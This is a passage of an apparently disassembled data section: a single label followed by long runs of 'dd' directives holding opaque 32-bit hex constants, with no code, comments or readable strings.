0F236DEC5h dd 0B65E43h, 3A1BA37Fh, 0AF9045FEh, 0C4753Ch, 0AE4C12Dh dd 3B4F86E8h, 0C7007681h, 338AE008h, 931F8385h, 6DC9A405h dd 0C0182FB2h, 0F9AB9E84h, 24F8EFh, 3E0E6076h, 59D4D50Dh dd 2135300h, 0EF5146D8h, 4476001Dh, 0F7F4255Bh, 5C00D2E7h dd 94E3E848h, 35A17Fh, 8ACDB1E6h, 0DC301940h, 2C4F8000h dd 466AF35Eh, 3D70E802h, 12802009h, 543C270Bh, 240026F1h dd 0E664629Dh, 7C73B314h, 5C29001Ah, 3BD22EDAh, 0FA0B58AAh dd 21338222h, 8DE698B8h, 26DD38ECh, 2687CCh, 0EA28B68Ch dd 6001FFC3h, 4761DF9Ah, 0AFC3934Fh, 64AC280h, 0CE010330h dd 0A1F5C90Dh, 48FDECE0h, 0A6E71F00h, 73262FFAh, 0F1FE0033h dd 7E745921h, 1100D76Dh, 4064B332h, 26F7440Ah, 9C090B7h dd 8D00F109h, 0C90C728Ah, 81DF3600h, 0E7C8E30h, 18EEF4CBh dd 0CA5B3180h, 4F123DC2h, 0F440EBC3h, 3F0359BAh, 71F700F2h dd 0E495D827h, 310940D5h, 90F0606Ah, 2E81FC8h, 17A10DA3h dd 0A4601322h, 6E007981h, 0E3F2AB32h, 0F0DF17Fh, 4F42D2B8h dd 297E37E0h, 0CF00D77Dh, 0F2195D32h, 8D9141h, 8A4F67E5h dd 0CAC8EA85h, 7A2A0609h, 0D8E5809Ch, 150D6E6h, 3449B1D2h dd 0EC032D10h, 9D0080AFh, 8D48AD37h, 0B0C5657Ah, 6886008Fh dd 15F6BBFBh, 0AB000A8Fh, 3DC40F7Eh, 0D1D6BEh, 0C16CA393h dd 167B3EF7h, 9FE3C03h, 0C89A48B7h, 0D7BE54h, 62466FF1h dd 8191EB7Dh, 88A9A300h, 311A2A32h, 3EC3F4ADh, 2FB973CFh dd 389D2080h, 775B85FDh, 0E58FDCF7h, 4EB67500h, 40B14930h dd 0BF0B1693h, 3490008Bh, 97573386h, 0AFCB9D00h, 2B4F8C2Ah dd 0CD4700ABh, 148720A1h, 0E626FE28h, 0DA00273Fh, 60A8A0C2h dd 113B6042h, 0D55DB1A3h, 0E067AA00h, 0F177E8EEh, 94824CFFh dd 6FDA9F80h, 5E0241ACh, 752B3249h, 7624606Eh, 28258033h dd 0A5B90900h, 0B498456Fh, 7255007Ch, 75E4A0C1h, 5448245Fh dd 0C53D99h, 0C7DA1DCh, 0DD6D81h, 0E0FBCF88h, 0D597A3FCh dd 3B6C8B1Fh, 8042BB09h, 3E8E73Ah, 84C00008h, 9F4E70D9h dd 203E96C6h, 0B0548A10h, 4F00E4F3h, 4404401Dh, 0E35802FBh dd 7B7457FDh, 522CB380h, 0D926D035h, 0BD003CDEh, 4DEA4A8Dh dd 62C200DBh, 0EE768BC6h, 0C40ADD49h, 8370CC6Ch, 3C707418h dd 0CD8700B3h, 4D0A31A7h, 8B49C734h, 88090160h, 1985F97Ah dd 0F6D43C30h, 0B94246Ah, 0B6870EA0h, 4311F2E1h, 0F39E602Fh dd 19FADE00h, 81345FEFh, 0CCD10114h, 0F07F6771h, 0E85442h dd 0ED2CD9E0h, 0EC002E14h, 9C6EE50Bh, 98F993h, 0F61FD76h dd 0A0F08F29h, 1C58F6A0h, 0C4A710C0h, 4CFBE4h, 33D09E39h dd 2C077DEBh, 110037E2h, 5560DE86h, 0FE8501h, 437B5939h dd 9A4DD0D8h, 54F05Ch, 0AF0EACD2h, 3AB85E2h, 5487A750h dd 80C40BEDh, 0DC5A603Ch, 0EB3DFB71h, 0FFCB802Bh, 0E64A9CA7h dd 409815h, 899DA0FAh, 0D0C0F3F9h, 5C7EFD07h, 0DC967B61h dd 5E4F0011h, 0C0E687Ch, 3C90EF6Ah, 0DE8F7D00h, 9480B26Bh dd 7A1A05D2h, 0D0610905h, 4C5878D8h, 0D40145EEh, 56CAC7CDh dd 0E6BBDD4Bh, 21F46C00h, 3077ECD9h, 7C386005h, 0D883FBE2h dd 3904B086h, 840505B7h, 80E3C3EEh, 66D6A4D4h, 7A5E1B16h dd 0F4E14C01h, 0E4F5589Ah, 80324880h, 86202A72h, 3D9BC52Ch dd 12267000h, 9A5C1Eh, 0CD93C0ECh, 8311DF2Fh, 1650491Fh dd 18821970h, 0E6BF000Ch, 3C7208DAh, 243CCB8Eh, 98C4F0DCh dd 10B005B5h, 0C6152836h, 0EC9869B0h, 0A0004892h, 567776A5h dd 0C240F9FCh, 97730FD2h, 40DE30C5h, 351BC67Ah, 0AD2E5F1Eh dd 0E6071C36h, 53F033A4h, 289CB2Eh, 971961DCh, 0F1E048DDh dd 0EC00E3B2h, 0A376426h, 0F7EAA79h, 4A24B5E8h, 0D70F7860h dd 0BFE60677h, 14A07B1Ch, 48EDCE40h, 91498Bh, 0D8B11504h dd 6A01971Bh, 4AF20BFEh, 2D0A1900h, 96AF032Eh, 2FBA039Eh dd 0C9D21A30h, 0ED443024h, 0A4DA5405h, 0B53DC000h, 0A67887h dd 3BFD5E3Eh, 0BA7CDDC3h, 0FF583800h, 21DCC231h, 0D652006Fh dd 5F63399Eh, 0D371ACD0h, 3725B60Eh, 0C0AB406Bh, 2CBEF79Ch dd 334DA2Dh, 0CEA73BC6h, 23B8D790h, 0DFB2A317h, 0C7F24800h dd 53EA5D9h, 7B4AF77Fh, 2AAF80CAh, 73008977h, 0C45EFA03h dd 78ADABD8h, 0E281FC2h, 146B933Dh, 0FB05E4B2h, 83D5AAD9h dd 0B0A7AEC9h, 0C51FB336h, 87DCBA00h, 169F1886h, 948B00B4h dd 5EC62230h, 4C09A59Ch, 1AE7E78h, 97878E44h, 60276F01h dd 0A50F490Ch, 0C4C89CB0h, 6807E2Bh, 2EADD057h, 0F8A7FCh dd 6A960364h, 8602352Ah, 0B0B83345h, 28598Dh, 0B162C3BCh dd 0AD00046Eh, 1BF35F39h, 1E814F9h, 0A865979Bh, 0F49CC5E6h dd 710F39C8h, 20E3CBAAh, 85EA446Dh, 0F4925CAFh, 0A1D85A03h dd 80B5A632h, 9C9E5D8Fh, 0B291AB00h, 597E70AAh, 0FC78005Ah dd 0F98510C3h, 0E5009B81h, 0A1B16CB8h, 0A0B02E62h, 482B3BA2h dd 801D7087h, 1BDBC1BCh, 0C46B8F4Ch, 0F0000860h, 6D7145DFh dd 15B69h, 0D79CAAFDh, 5EA07063h, 1B18FC7Ah, 0EF116FD6h dd 949F0FEh, 0EA0A2C6Eh, 601D2087h, 172D273Eh, 3CF43200h dd 3AFD9637h, 4CE21Fh, 6EF6F340h, 1847EDADh, 0F7461309h dd 7398002Dh, 725DD45Eh, 0E590A3h, 0D76D57Bh, 0C29F6F79h dd 0EB2E5901h, 0ACA399ECh, 1F5A7E70h, 0C0175CA5h, 7DE7F184h dd 6400FA92h, 0D6E5DABFh, 0B8FB4CABh, 62F04Ch, 210BDED4h dd 52CAE7D5h, 8ADF4300h, 0A9F71780h, 0A48F3CEFh, 2037A703h dd 73A8415Ch, 1B07A8A6h, 5AE4E3E9h, 0F71DD370h, 2EB50047h dd 52FACC20h, 9C26A5CAh, 0C700563Dh, 9E83FB85h, 0F45E00B2h dd 3F15714Bh, 0F87CB71Ch, 7C439401h, 872ED06h, 2AF13DEDh dd 3E328430h, 0CB002BFEh, 306AA28Ch, 0E900170Ch, 6CB47EAFh dd 223146h, 332158F0h, 0AC563281h, 30349D5Dh, 0CC9A1185h dd 587900A0h, 46660EDFh, 9225AE09h, 0F9B02268h, 39EA817Eh dd 0A4202F0Bh, 80520066h, 0C9CEB0BDh, 551E88A5h, 114E47DAh dd 0F674027h, 1E7B28DBh, 178DD3h, 0E85E5987h, 0F20164A1h dd 86B37154h, 0BECD97D9h, 0F34F30h, 3BB7FFB1h, 0C2D4A004h dd 7EDCAF00h, 3F92EFF4h, 301EEC50h, 0BD1A8E4Eh, 0AD00E233h dd 46BC9523h, 0FF8053Ch, 6BD36A6Ch, 3D06405Dh, 920D70E8h dd 94318C00h, 0CB5F5340h, 0C79000D4h, 0FD7DDC96h, 0A07D236h dd 0BA7AB9E6h, 494340DFh, 297117h, 0B797A70Bh, 0E3C08E37h dd 0AF55FB1Ch, 0F3D7F080h, 2E3505h, 6E0A052h, 982D0226h dd 83F5A925h, 0E06E7460h, 0EEB93A2h, 6076308Ah, 0E8F4A800h dd 351C5F7Dh, 0DFC098DAh, 56C02B51h, 39901DD8h, 0C5344203h dd 60D01371h, 3D54145Ch, 70F3A670h, 95009C24h, 82425312h dd 54043D8Ah, 0ED3C34CCh, 3E108880h, 31E04D0Fh, 4FF9E600h dd 0C8E54A47h, 6C0A1666h dd 0DA9400C2h, 29B51A58h, 0EB2B3900h, 0A95F2F6Dh, 103D0078h dd 40435372h, 9400659Ah, 0C30258B2h, 1FD8B815h, 0FE2CFF1h dd 5FA0310Fh, 96F23290h, 4F95D000h, 302EEE91h, 9DD20051h dd 624ACA97h, 0F9001965h, 8B0360C7h, 1F5FA3FCh, 80D53975h dd 6E4A5022h, 20030AEBh, 2C8EE161h, 4865A06Ah, 29D00E8Fh dd 7726F93Ch, 0E007465Eh, 40188CD8h, 5CC15034h, 98301F5Ch dd 97D60089h, 0FD809E75h, 80EF6F8h, 0E26DBF04h, 0F87213EDh dd 0E6550714h, 0E0D5D1B2h, 0E45E5A3Ah, 69F27E77h, 0C4643C00h dd 0ACDC7FE8h, 43A700F8h, 0BF32A05Bh, 0A47712EBh, 56126F73h dd 0D701E0C8h, 13DE8347h, 582CD440h, 0FE9837h, 2E60AFE2h dd 0F0C3742Dh, 59D39400h, 0D20CED53h, 0A61F0048h, 8DA4CF54h dd 0F6589964h, 0B7E7056Ch, 2AC736A3h, 6E6C3900h, 0F0A950AAh dd 12B1005Bh, 68505D24h, 9600163Ah, 0A86CFCA5h, 171C01B8h dd 604F18E2h, 0CEAC2FB0h, 52228D09h, 7CA8C04Ah, 0B8830FB6h dd 0E0A75539h, 0F3AC709Ch, 4300141Eh, 9061CE30h, 0F471CCh dd 0C8FC32FAh, 5077FD11h, 0C57A61Ch, 0C3D58547h, 0FE03E250h dd 0D12B30C4h, 86305C19h, 6E8ABC03h, 0F8E10510h, 39D1EB6Fh dd 128E3AA0h, 0C05F2E78h, 4FB9743Eh, 6F004417h, 8C6D6432h dd 0EE4372Fh, 0B0C1FA23h, 0EFC7A4C0h, 32E2465Fh, 0CCDD0500h dd 36AD30Dh, 635FB0DFh, 2567831h, 909AE7F0h, 8BD3500h dd 8FFDE574h, 0E8A0010Bh, 7965ACFCh, 5A6C3042h, 6D47AB00h dd 76D2C202h, 3CB603h, 0ACEF241Ah, 0F8E019FBh, 8E5E4700h dd 0FD13C87Ch, 924903FCh, 11C68089h, 6A4BFFC9h, 0A97D6C0h dd 4C060712h, 808495B6h, 7D291E0Eh, 82540200h, 0E87BA5A4h dd 78EB157Ch, 2190884h, 0E093215Eh, 0E1E8C44Bh, 3508A60Eh dd 0DE3E00Bh, 0E4F8223h, 347BA33Fh, 28AAB3E1h, 4725E819h dd 2E94CB00h, 441D1BEEh, 8AC12CC4h, 0E6033CDCh, 0E8A3ADE0h dd 4A3FE186h, 2133B2C4h, 0A9880CEEh, 3C410800h, 0F90EA57h dd 38246043h, 0D395E61Fh, 23F2E00Ah, 5B1C24C6h, 5D358F39h dd 0CC78A4Bh, 406B2509h, 0D2C14h, 0BBF0E07Eh, 9550BC24h dd 0C45B1E00h, 0AFFDBDD4h, 1A1F0001h, 0F05A2997h, 8600A766h dd 2F956A03h, 64A451h, 0AC4934A1h, 0E3DD6CE4h, 124BA200h dd 0D3D9E5CFh, 0ED8D1F25h, 3D2E2C59h, 9879A332h, 75D049Dh dd 10CE1AA1h, 5DF78F41h, 6C0203Fh, 88192FDEh, 9B0D0029h dd 0A451A96h, 38008F43h, 7482A15Dh, 0AB56FAh, 0BD21797h dd 0D7BD6A57h, 0ADE1EA00h, 3A7EE873h, 0FC3E18A9h, 5363713Dh dd 2E9A3800h, 83065B4Dh, 1AC63C2Bh, 0C2F5C881h, 0C45695F2h dd 8600B60Bh, 0D435444h, 0C0E88C5Eh, 84ACA398h, 0FF0C2595h dd 0B942D850h, 9B45883Ch, 0C680E1DDh, 74C11A7h, 1FE60C71h dd 0D7F92029h, 29C28FE2h, 90827353h, 294ABF88h, 2846E0Fh dd 5E0599A5h, 42280880h, 0A11544C7h, 9CCDEAh, 36E6D42Dh dd 3C07A782h, 7426F695h, 0AB460218h, 0C1C085D9h, 0F8009398h dd 5180E1CAh, 0F62A7D0Dh, 13A07CCh, 86B8B594h, 0C40289D9h dd 5AE25C45h, 284CC0F1h, 0A2FD3DB1h, 90F70585h, 0BC40703h dd 98BF365Eh, 0D1994430h, 0DF9A17h, 0F01F9C4h, 2D3A090Bh dd 8C42593Ah, 7890C15Eh, 94A444h, 0EC37E6A3h, 53AF20E5h dd 940F8000h, 0E83F9EC8h, 77BB20F5h, 4F009872h, 0FD1B47CDh dd 2E010AA3h, 1F4ADC2h, 1D0F0BA4h, 0D5988F0Ch, 61916CAEh dd 0FD01006Ch, 7AF010C9h, 0D4008143h, 0CD7EF6B9h, 0B5AD36h dd 93A35634h, 9DA1D3DFh, 62E839C0h, 854282h, 0A0C34C4Eh dd 0AE599302h, 4C09F739h, 52EF1DECh, 0D1F9C800h, 259BF4h dd 2A3B3A97h, 35761B0Dh, 5DB8AC00h, 0F6304E82h, 0F5791Ch dd 14C89F02h, 0EAA54D4Ah, 2434BC24h, 15A70F00h, 77A48301h dd 0F97A673Ch, 6F42C20Ah, 0D474C83h, 0F9F480C5h, 9B07EDB0h dd 0D344719Fh, 0F666971h, 0A27B31C8h, 50D90CB4h, 0FD49002Ch dd 8F92AAEBh, 0F0F55CE9h, 0AC143386h, 0E0046415h, 349AFh dd 0F43EDA7Dh, 0FB45B80Fh, 8A633Eh, 86A41502h, 0A777FEh dd 0BF106FACh, 0C5646C5Dh, 14614500h, 7C5446BCh, 0FF3D00A1h dd 64C331Fh, 0D130C164h, 25B5691Ch, 0A730013Eh, 9D98DF13h dd 29089883h, 2E5B21h, 1AF80C3Eh, 0AED2B971h, 76D58C00h dd 129E3952h, 2318014Dh, 0CAE3FCD3h, 79B8801Ah, 0EC861362h dd 1E08314Fh, 0C89A19D0h, 1A04F623h, 55CC3329h, 4F67FF80h dd 4370032Dh, 0F5C1C372h, 6EF1ACD0h, 4A5368EEh, 57A38220h dd 0E87619C9h, 0C2547A71h, 0D40084A0h, 0A518F2D8h, 3A411E78h dd 6B3375DDh, 0D7985D21h, 5C006A52h, 512E456Eh, 5EEED2AAh dd 7C18A8A6h, 7D52D8E6h, 3050B22Ch, 9B51B647h, 93A40090h dd 0EC503C49h, 4A181B90h, 0DEE8C24Fh, 0E95C309Ah, 2D862A18h dd 0AC6AAF28h, 51C37A30h, 0A4B2Eh, 43C1773Ch, 0A714D6D1h dd 591AD000h, 0BD747030h, 1890301Fh, 97497A89h, 311A4E00h dd 0CCAED63Eh, 5FC4072Ah, 1C9DA7FFh, 0C3024459h, 0D020F83Ah dd 0AA0C4041h, 460486D4h, 4BA7493Eh, 5A201762h, 16B3E2Fh dd 1D14343Bh, 831CD89Bh, 2B4D67C8h, 10E074BDh, 1318ABh dd 410C9A35h, 0F64A1D94h, 983B2A2Eh, 0F88C0090h, 5429D802h dd 1566FF60h, 216FB1h, 0F0036E62h, 108F54Ch, 891A1E30h dd 23E34A8h, 329A8886h, 704D05E5h, 0B6413BC1h, 0C024A2FDh dd 0C7E61E2Bh, 402244A6h, 2C89019h, 39C01E2Ah, 0A3BB20F5h dd 0CA96008Dh, 7EF7A543h, 0CE1EBE88h, 75829F51h, 46802F33h dd 0D8D2041Ch, 38B518F0h, 0D7AA015Fh, 7B4CB84Bh, 3EA040C5h dd 382ACFA5h, 0C03084A1h, 118FA11Dh, 0C3940575h, 401F8982h dd 0B20BD798h, 0A53F413Ah, 0FC007267h, 20D16B08h, 60CAD371h dd 4229C122h, 500069F3h, 0AAC265DAh, 49D8B1h, 0E6867A2Fh dd 29AB25FEh, 9D4459C9h, 9F2A111Ch, 0B951C843h, 0F8407443h dd 0CFC2A65h, 441300A8h, 58982BDDh, 0B066C024h, 211709h dd 7ADB79F3h, 0D66087AEh, 0C5D130Ah, 0CE02F430h, 80844AECh dd 0D41D98FCh, 9E220EA8h, 0B487A523h, 0A486C083h, 0FF4CD819h dd 76C48420h, 0DB234083h, 7C38226Bh, 2AA3CB3Fh, 0D305B0C6h dd 4F5AE745h, 2E237C2Eh, 1CD9EA01h, 0A0826FDAh, 11183FBEh dd 0F504784Ch, 6C29D702h, 3ACAE63h, 0B8036F55h, 7719177Ch dd 7C284C72h, 0D8D35400h, 0C39EF0F5h, 3E04DF75h, 2A0E30B9h dd 27CDBC99h, 0A399180h, 4F8A1354h, 0B009E73h, 47377A24h dd 0A6C72DCh, 1B911CA3h, 26020A98h, 22AC8080h, 0E5A94EA7h dd 7C468098h, 6FD7AB01h, 0C75DD19h, 0C3248866h, 8522D801h dd 0BA06138Bh, 204B29D4h, 0C480EB84h, 0A8D2C675h, 0C02F0408h dd 2AD102FFh, 8C639C29h, 969C86Eh, 0B0B2EF40h, 0E6043440h dd 2C6A1B80h, 86141D82h, 18E2309Bh, 66D11099h, 0C8073F18h dd 0BDE271BEh, 0F89B1F31h, 0E1FCE434h, 0A35424h, 73582719h dd 0BE33EA2Ah, 1EC96801h, 166ABD82h, 0C904CECh, 0B65D9ADFh dd 81273F8h, 2C60C064h, 232F3E28h, 0B8085BA7h, 11600763h dd 27A0333Eh, 0FF61B1A8h, 0E321E60Bh, 0FA18006Ch, 73C74004h dd 781D0776h, 40701A53h, 0BC630CA3h, 0E32F0A0h, 30D962F0h dd 2A18CE80h, 0A72D3E08h, 41B6C42Bh, 963E135Eh, 9772ECh dd 594EB9FDh, 0CE34A387h, 3705C09Ah, 61079B26h, 4576EC82h dd 8331EF1Ch, 0D5F6068Ah dd 802E850Fh, 0F374A9E5h, 0D8164891h, 0C1B42B1Ah, 0D611CCB7h dd 68220092h, 0FA67C1EFh, 24108A00h, 22331AA1h, 8B600584h dd 815F37F7h, 2366EAB0h, 2D5C50B0h, 2F1028Ch, 600C2AD3h dd 21807A19h, 9E036B61h, 8E0BAF3Bh, 1460673Dh, 1134688h dd 29A502F3h, 700C5FFCh, 6D6388h, 4DFD0703h, 62EC8A7Bh dd 0B973C405h, 0A8499801h, 0A79018B7h, 19676047h, 0DAF5982Fh dd 0F4A45550h, 7D406602h, 40FB04A1h, 1463026Ch, 0B878F269h dd 0F51A310h, 245840FCh, 648CDA19h, 0FA7C5Fh, 7BBFB04Fh dd 73C9F6E3h, 4C567532h, 88A4A0D9h, 97E406Bh, 2567D6BDh dd 0C09D4431h, 17013F0Bh, 381D848Eh, 47F222D6h, 642E4290h dd 14271018h, 0F0871F05h, 2C8B7501h, 2AACF24Ah, 1A762404h dd 58810CC5h, 3A050EE8h, 0E6D2354h, 2343585Dh, 0C816665Bh dd 0F82F7607h, 4A006F23h, 7A9A45D6h, 0EA19C79Ch, 0ED76B041h dd 0A0E821BBh, 12FD238h, 5DC1578Dh, 3C340FF9h, 0A1890031h dd 0BA233DC2h, 80044BA9h, 0B697D11Ah, 7D9CD80h, 14B09Fh dd 0F2CEB461h, 30F9D2BCh, 0AC88049Bh, 0C14465D4h, 737BA788h dd 2D5C80FCh, 24AEA03Eh, 0C3F82F54h, 8B8D4067h, 1279C474h dd 0C8B9E731h, 7005326h, 0C51427CAh, 4CFA1CA6h, 1C585CA9h dd 3A006B23h, 68982DDDh, 22BF42BEh, 67F1020Fh, 1F0271DBh dd 0A609D8E4h, 0B3DC87C9h, 0A978A000h, 0E8314D54h, 0D4011D22h dd 0BB3DE34Dh, 0C3E430D9h, 1AC22A13h, 95A700E0h, 86215664h dd 90A8A8ACh, 101205FCh, 4046A94h, 0D6307A73h, 1817F4D7h dd 0FC2C75D5h, 0D8CE0683h, 8102F96Ah, 67533C1Ch, 7CB9DC0h dd 2A94780h, 0AC21DA99h, 40C8344Ch, 6F054641h, 25B918AFh dd 0B07AC430h, 37B205A3h, 2F05E530h, 63437CF0h, 0C2DAE01Dh dd 7DA5645Bh, 18F540E0h, 0C8999A3Fh, 0F44A29A0h, 56187A79h dd 8E46AB00h, 0B96B79C3h, 2B3F3074h, 0F8E59750h, 0C2801C54h dd 0A45C700h, 0B0D1F9D6h, 85613C25h, 0B3D4AF0Eh, 83466EC0h dd 0BD269A16h, 467CC8C6h, 0C269016Dh, 306E7821h, 0C11B1FD0h dd 3F0D8681h, 177C349Ah, 9B2A2905h, 0BC1A1D54h, 445CC750h dd 707C60B1h, 361A01FCh, 7FB6D5ABh, 0BD5024A9h, 82B86896h dd 9DD182AAh, 48B466DDh, 0C33ED467h, 3E2B0243h, 5183A73Ah dd 745560C0h, 2B01443Eh, 4BB78914h, 242D3B46h, 0E40BD800h dd 0AEA37270h, 71A09449h, 50A8BC26h, 0C820F945h, 2050Bh dd 876B0154h, 1B36754Ah, 0C49F8C1Ch, 67669D41h, 882029A6h dd 61123CDFh, 4824BCA7h, 57E0822Ch, 49F83631h, 32484A98h dd 0C02F14FCh, 9B54DB73h, 0D86900F5h, 76EA41AEh, 4A26BCC9h dd 6CC76092h, 0BD403BE0h, 4BA60452h, 0D80C0F21h, 49707A4Ch dd 0F8505E4Ch, 580E8C6Fh, 0A91BBEh, 7142ECD7h, 25ACB87Eh dd 40A27D0Fh, 0A8648E23h, 2107AD46h, 7BA74C3Eh, 75CEC9Ch dd 0E55A00BCh, 1E956DB7h, 0EBBB00F7h, 1D867269h, 58C1B87Bh dd 8A5EA4A3h, 0F50870BEh, 35A56E16h, 73C080CCh, 0D134462Bh dd 0E5E7C600h, 58041B56h, 0E4182717h, 6D91D017h, 8E9FAD80h dd 1D04E63Eh, 0B1E2A4A7h, 0E860C4B1h, 2009130Fh, 0C88C8BB5h dd 0C9D2C06Bh, 6900961Bh, 0CD4AB6B1h, 0EDABBABh, 0F599CA48h dd 0F6886C6Ah, 0D4426C02h, 0CCDC845Ch, 0E0200B10h, 0AD07327Bh dd 19D1E340h, 66CF3900h, 10DBDDA2h, 0DA77BDh, 9F4CD5B5h dd 376EDF73h, 49CD8D0Fh, 4BC99880h, 0C1BE0347h, 0DA22217Fh dd 35BA97D0h, 49622901h, 0A53B2BFFh, 981834h, 0D34BB99Ch dd 5328CC9Fh, 1C20B21Eh, 88015A5Eh, 0F8644989h, 59474830h dd 0B7820CD0h, 0CCA09D7Eh, 4382ADD6h, 90A4B925h, 0F0D286F4h dd 843A27ECh, 40F99CA0h, 794C5A53h, 2E4277F4h, 7AAC4C5Ch dd 37CD008Ch, 0F0ED0C83h, 0B050B6DCh, 0C20BD748h, 76D402Ah dd 58946A98h, 169233Ah, 0C2BE91C9h, 2906EC27h, 94BCEB24h dd 38086793h, 0DDA1CF6Ch, 18409844h, 6EDC880Fh, 0F8B3DB0Fh dd 246D4A31h, 0BF291805h, 1CA50490h, 988550E6h, 2C205C02h dd 63965C7h, 0C991018h, 86127AD0h, 3BBB38h, 75762F23h dd 0EA867Dh, 0BA371CA2h, 65089A84h, 2E623Fh, 0E2E7797Ch dd 9D0A7h, 19702FC6h, 2DD5781Dh, 79C7ACA0h, 130200B8h dd 3F2E30DDh, 1A64C8C1h, 33260428h, 0E0C62967h, 0C4407DC4h dd 95D202A7h, 5FBC2AC1h, 27A16840h, 151F830Eh, 57F8F11h dd 0F0A0EF0Ch, 12BA4F6Dh, 23143A48h, 9853017Bh, 0EC5743F1h dd 0A09BB996h, 4A34A302h, 0BDB4807Eh, 947CC1D9h, 2F6B63B4h dd 70ABA80Ch, 22290FEh, 35A251D2h, 785003AEh, 6A8AC500h dd 8FC720Eh, 0F14C25F9h, 1874E0B9h, 0AA03096Ah, 0B865C429h dd 3686C87h, 0E856D8C0h, 0F518022Eh, 20BF52CDh, 42008C52h dd 998D55CAh, 123F7F3h, 761B4B7Eh, 2DC9A298h, 5B8F0054h dd 8B14D17Fh, 5079033Ch, 18E59B40h, 8E8D76D8h, 0C25D24Eh dd 84C28C80h, 3C08B6CDh, 0ED249B8Ch, 86257AF8h, 3F6831FCh dd 0AEF38472h, 0AC8034ACh, 286CB8E3h, 33EC17DEh, 0A5B183D4h dd 2101A1D8h, 9892377Ch, 0E11E4800h, 0A87C1CDAh, 1E20B9F7h dd 0A215E75h, 5B01FB6h, 0C8F0CB4Dh, 0B0B9FC04h, 61E8DC00h dd 24D1319Dh, 80EC5186h, 0B5547ABBh, 0EC39C888h, 1C2F9744h dd 0A4CF3500h, 4AB4667h, 76E6D63Eh, 7A78CCA9h, 9ADEB009h dd 7E20C6B4h, 0E53316A3h, 10C82F05h, 0B8C06417h, 2982AB99h dd 0E1789B19h, 0E03DDA68h, 10342ED3h, 1EC063B6h, 95D0E9C7h dd 4BC5307h, 230F9EF7h, 9032BB6Bh, 47A9451h, 58D143CEh dd 12A0E026h, 5CE2EB02h, 680F2598h, 200A1F48h, 860C7783h dd 18572F0Dh, 0A4F499A1h, 806A1184h, 9846DD37h, 0DA028710h dd 0F327DD44h, 109240A4h, 0FA0E23CDh, 9E243D06h, 0E003F66h dd 0C782E7C5h, 45B83CA4h, 692C7F3Eh, 42660045h, 0B3D402D0h dd 50398500h, 0AFEB2FE7h, 1F29C35Fh, 0A5E9FB3Ch, 0B7A6E49Dh dd 53ED0A0Fh, 6F20E3DDh, 0D646807Eh, 0F1D13E1Eh, 81ACEF07h dd 7BFAF3E3h, 5DEE8003h, 0A08C18BCh, 66774419h, 21D1082Dh dd 0BCD3C002h, 607A87BAh, 1D5EC9B6h, 3D8259h, 8C496C2h dd 0D300242Dh, 83D17D8Ch, 3C7B14Ah, 922027DCh, 0B062268Dh dd 1B802D78h, 8B7B5873h, 0DB443CA4h, 0BCD100CEh, 1BE42272h dd 0C202895Eh, 0F053673Bh, 7F9C8052h, 4BF9EAh, 2C6356DCh dd 6EDEEEC3h, 624DAA03h, 27B0809h, 0B8BCF29h, 0F761374Fh dd 3D0C40E3h, 5E01391Bh, 87D719D2h, 89821FAh, 133C2128h dd 0B7253A04h, 0FE801505h, 17048C1Ah, 1E2C5412h, 93F04CBFh dd 16F840E0h, 3C182E60h, 2AC10EFEh, 0D451B5h, 3469858h dd 798DAADDh, 8BAF533h, 2221002Fh, 24144D5h, 0D40C2115h dd 582E8CAEh, 0ADB210F5h, 6B35002Ch, 4711BE15h, 2087498Dh dd 0F506B500h, 18DE8AFAh, 0CF6BCA05h, 94309165h, 36BDE3h dd 71FCA914h, 7076DB62h, 101C0C24h, 52D60F02h, 81C905D2h dd 0C0678F58h, 7306C899h, 47B24F0Eh, 0B41800A9h, 7EF034ACh dd 8A072E8Bh, 512F081Eh, 0CB923C41h, 802B3C20h, 650AD60Bh dd 8853EE1Ch, 8F80DA11h, 0C2DCE246h, 3530448Ch, 0F044D400h dd 51D897C6h, 1801607Dh, 1B6CCC78h, 7E1A9E00h, 5BD492D1h dd 9BB71233h, 0B300C76h, 10001A29h, 8BBACE2Ch, 18A61A2h dd 911686A3h, 40DCDA5Ah, 47B77098h, 5E60D3FAh, 58830279h dd 15067822h, 0F4449A16h dd 60A98E1Fh, 24598D24h, 1A80D011h, 0D1D25B3Ah, 2322DA43h dd 39F21300h, 2C84BE65h, 0A8DCAB8Ah, 0F4D9534Fh, 3FC80085h dd 39F81B86h, 50B827B8h, 0B6D45F06h, 781C49h, 9B5D048Bh dd 0D8ED8428h, 0B2D15013h, 0B7EC0421h, 3CF0D560h, 130C6F9Eh dd 1F698633h, 8F82E404h, 40D8E510h, 0CCC8881Ch, 0FE598207h dd 4670FD3Ch, 2C77F38h, 0DB4560C0h, 0D44010E2h, 0E4A11925h dd 7B9B18D6h, 0A2DC2346h, 21075411h, 0C05244D0h, 7D317B18h dd 0F73FB20Eh, 201D1CC3h, 0E0921CCDh, 0AA14C23h, 82D80D7Fh dd 46C62A0Ch, 3FDE10D4h, 4F77002Fh, 0FCEED875h, 85A00988h dd 4C06269Ch, 6D74F999h, 9436F129h, 9D82FE80h, 86243510h dd 0C62144h, 8C0582E6h, 0D85D2368h, 87DD5706h, 45829A0h dd 0E29FA389h, 0D57892F1h, 0A469C30h, 27CADCE7h, 0C9365894h dd 0DC244426h, 6728C08h, 2161B25Ch, 86A6600h, 6DC985C6h dd 0CFB904D8h, 0C0B681BFh, 89769C45h, 4AB1DC18h, 15C0331h dd 0E7D792BBh, 0C8CA134Dh, 0E3095961h, 0A03E0481h, 31D6EE28h dd 626B02EFh, 0C97AC67Fh, 25106E41h, 21AFE4E0h, 8D53EC0Ah dd 3580CCE7h, 4641B40Dh, 908CA881h, 0F9D20F5Dh, 8D0A2549h dd 84C13D4h, 0E48520B4h, 788839F4h, 74449012h, 600A801Eh dd 0D0CEC500h, 17772737h, 88BCA810h, 0EEC155Ah, 9987A4D4h dd 72DD0146h, 885B0C8Dh, 4600A61Fh, 0D2AC8332h, 9D31E4h dd 1B6FFA42h, 0A049FB41h, 7E510E09h, 67242107h, 0B0E4BE4Ah dd 793B0053h, 6937C4DDh, 0A1002646h, 0F4409991h, 0BC6ADB7h dd 0E020B6EEh, 0C8B3000h, 0C8906B74h, 820FC53Ch, 8341A523h dd 2DAC683Ch, 121EEB0h, 5E5F2A87h, 0C09CFC49h, 520606CFh dd 6E6DB488h, 0C6EE0A40h, 3C4ECD6h, 6AFC58EDh, 0D8F6F580h dd 0A6121B04h, 7D05F747h, 8BC53AEh, 708E5570h, 197C0CC4h dd 0DA214406h, 0EEDB170Ch, 7BBC110Ch, 0E9E005CAh, 0BB128E03h dd 2266FC00h, 7E9AB22Ch, 0F0AD19BBh, 0E07A3109h, 0A9019EC3h dd 